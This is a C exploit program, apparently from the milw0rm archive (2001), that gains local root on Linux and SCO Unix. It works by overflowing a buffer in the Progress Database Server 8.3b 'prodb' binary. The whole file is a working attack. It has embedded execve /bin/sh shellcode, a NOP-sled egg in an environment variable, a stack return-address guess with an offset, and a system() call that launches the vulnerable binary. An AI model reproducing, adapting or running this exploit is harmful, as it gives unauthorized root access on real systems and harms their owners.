/* progress database server v8.3b local root compromise.
* for sco-unix and linux
*
* [on linux redhat 6.2 and SCO_SV scosysv 3.2 5.05
*
* this is just one of it, advisory about the bug discovery grabbed
* from packetstorm, which was originally found by: krfinisterre@checkfree.com
*
* exploit usage: ./prodbx <distro> [offset]
*
* just some quick greets to: wildcoyote, lucipher, tasc, pyra, calimonk
* script0r, tozz, c-murdah and cerial
*
* - The Itch / BsE
*/
#include <stdio.h>
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_EGG_SIZE 2048
#define DEFAULT_BUFFER_SIZE 4200
#define NOP 0x90
unsigned long get_sp(void)
{
__asm__("movl %esp, %eax");
}
/* regular shellcode for linux on the x86 */
char linux_shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
/* shellcode found (and used) in the advisory */
char sco_shellcode[] =
"\x89\xe6\x83\xc6\x30\xb8\x2e\x62\x69\x6e\x40\x89\x06\xb8\x2e\x73"
"\x68\x21\x40\x89\x46\x04\x29\xc0\x88\x46\x07\x89\x76\x0c\xb0\x0b"
"\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80";
int main(int argc, char *argv[])
{
char *buff;
char *egg;
char *ptr;
long *addr_ptr;
long addr;
int offset = DEFAULT_OFFSET;
int bsize = DEFAULT_BUFFER_SIZE;
int eggsize = DEFAULT_EGG_SIZE;
int unixtype = 0;
int i;
if(argc < 2)
{
printf("\nProgress Database Server v8.3b local root\n");
printf("\nUsage: %s <*nix type> [offset]\n\n", argv[0]);
printf("1 = linux\n");
printf("2 = sco-unix\n\n");
printf("offset is not required, but should be near -50 through 50\n\n");
exit(0);
}
if(argc > 1) { unixtype = atoi(argv[1]); }
if(argc > 2) { offset = atoi(argv[2]); }
if(!(buff = malloc(bsize)))
{
printf("Unable to allocate memory for %d bytes\n", bsize);
exit(0);
}
if(!(egg = malloc(eggsize)))
{
printf("Unable to allocate memory for %d bytes\n", eggsize);
exit(0);
}
addr = get_sp() - offset;
printf("\n --== Progress Database Server 8.3b local root ==--\n");
printf(" Coded by The Itch / BsE\n\n");
printf("Using return address: 0x%x\n", addr);
printf("Using offset : %d\n", offset);
printf("Using buffersize : %d\n", bsize);
ptr = buff;
addr_ptr = (long *) ptr;
for(i = 0; i < bsize; i+=4) { *(addr_ptr++) = addr; }
ptr = egg;
if(unixtype == 1) { for(i = 0; i < eggsize - strlen(linux_shellcode) -1; i++) { *(ptr++) = NOP; } }
if(unixtype == 2) { for(i = 0; i < eggsize - strlen(sco_shellcode) -1; i++) { *(ptr++) = NOP; } }
if(unixtype == 1) { for(i = 0; i < strlen(linux_shellcode); i++) { *(ptr++) = linux_shellcode[i]; } }
if(unixtype == 2) { for(i = 0; i < strlen(sco_shellcode); i++) { *(ptr++) = sco_shellcode[i]; } }
buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg, "EGG=", 4);
putenv(egg);
memcpy(buff, "RET=", 4);
putenv(buff);
/* adjust path of prodb accordingly... */
system("/usr/dlc/bin/prodb sports $RET");
return 0;
}
// milw0rm.com [2001-03-04]